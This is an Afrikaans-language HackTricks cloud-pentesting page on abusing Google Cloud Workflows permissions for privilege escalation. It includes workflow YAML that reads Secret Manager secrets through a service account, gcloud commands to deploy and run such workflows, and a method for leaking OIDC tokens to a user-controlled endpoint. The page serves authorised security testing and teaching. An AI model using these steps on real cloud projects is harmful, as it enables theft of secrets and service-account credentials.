GCP - Workflows Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Workflows

Basiese inligting:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Sover ek weet is dit nie moontlik om ’n shell te kry met toegang tot die metadata-endpoint wat die SA-kredensiale van die SA wat aan ’n Workflow gekoppel is, bevat nie. Dit is egter moontlik om die permissies van die SA te misbruik deur die aksies wat uitgevoer moet word binne die Workflow by te voeg.

Dit is moontlik om die dokumentasie van die connectors te vind. Byvoorbeeld, dit is die page of the Secretmanager connector. In die sybalk kan jy verskeie ander connectors vind.

En hier kan jy ’n voorbeeld vind van ’n connector wat ’n geheim uitdruk:

Workflow YAML konfigurasie om toegang tot secrets te kry ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Opdatering vanaf die CLI:

Ontplooi en voer workflows uit vanaf die CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` As jy 'n fout kry soos `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, **wag net 'n minuut en probeer weer**.

As jy nie webtoegang het nie, is dit moontlik om die uitvoering van ’n Workflow te trigger en te sien met:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Jy kan ook die uitvoer van vorige uitvoerings nagaan om na sensitiewe inligting te kyk

Let daarop dat selfs as jy ’n fout kry soos PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... omdat jy daardie toestemming nie het nie, is die workflow gegenereer.

Leak OIDC token (en OAuth?)

According to the docs is dit moontlik om workflow-stappe te gebruik wat ’n HTTP-versoek met die OAuth of OIDC token sal stuur. Soos in die geval van Cloud Scheduler, moet die HTTP-versoek met die Oauth token egter na die gasheer .googleapis.com wees.

Caution

Daarom is dit moontlik om die OIDC token te leak deur ’n HTTP-endpoint aan te dui wat deur die gebruiker beheer word, maar om die OAuth token te leak sou jy ’n ompad (bypass) nodig hê vir daardie beskerming. Nietemin kan jy steeds kontak enige GCP api om optrede namens die SA uit te voer deur óf connectors óf HTTP-versoeke met die OAuth-token te gebruik.

Oauth

Workflow HTTP versoek met OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Workflow HTTP-versoek met OIDC-token ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Met hierdie toestemming, in plaas van workflows.workflows.create, is dit moontlik om ’n reeds bestaande workflow op te dateer en dieselfde aanvalle uit te voer.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks